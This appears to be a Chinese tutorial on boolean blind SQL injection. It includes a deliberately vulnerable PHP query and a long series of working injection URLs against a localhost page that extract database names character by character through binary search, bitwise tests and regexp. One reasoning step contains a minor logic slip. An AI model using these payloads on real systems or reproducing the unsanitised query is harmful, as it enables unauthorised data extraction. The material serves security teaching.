本次代码不输出具体的查询记录结果,如果存在ID值则输出一个状态,不存在ID值则输出另一个状态,也不会输出SQL报错状态,为布尔型盲注。
connect('localhost','root','root');
if($mysqli->connect_errno){
die('连接数据库失败:'.$mysqli->connect_error);
}
$mysqli->select_db('user');
if($mysqli->errno){
die('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf8');
$sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1"; //添加了limit语句
$result=$mysqli->query($sql);
if(!$result){
//die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
echo '抱歉!不存在此记录';
}else {
echo '存在此记录';
}
判断注入点同样可以进行运算符操作,查看是否执行了运算
因为不返回查询结果信息,所以不能直接进行查询,但是可以通过条件语句进行逻辑判断猜解。
查看当前数据库版本:通过逻辑比较得知,数据库版本为5
猜解information_schema.schemata表里第二行记录的第一个字符为’f‘
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>64,1,0)%23 存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>128,1,0)%23 不存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>96,1,0)%23 存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>112,1,0)%23 不存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>104,1,0)%23 不存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,0)%23 存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>102,1,0)%23 不存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>101,1,0)%23 存在此记录
x>101 and x<102 所以x=102
102对应的正是字符f
但是,不知道字段值什么时候结束,所以首先需要取当前字段值的长度。
http://localhost/index.php?id=1 and if(length((select schema_name from information_schema.schemata limit 1,1))=4,1,0)%23 存在此记录
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 64,1,0)%23 存在此记录 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 32,1,0)%23 存在此记录 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 16,1,0)%23 不存在此记录 0
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 8,1,0)%23 不存在此记录 0
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 4,1,0)%23 存在此记录 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 2,1,0)%23 存在此记录 1
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 1,1,0)%23 不存在此记录 0
1100110转换到十进制为102
102对应的正是字符f
http://localhost/index.php?id=1 and if((select schema_name from information_schema.schemata limit 1,1) regexp '^f',1,0)%23 是否以字符f开头 存在此记录
http://localhost/index.php?id=1 and if(mid((select schema_name from information_schema.schemata limit 1,1),1,1) regexp '[a-g]',1,0)%23 第一个字符是否在a-g中
......以此类推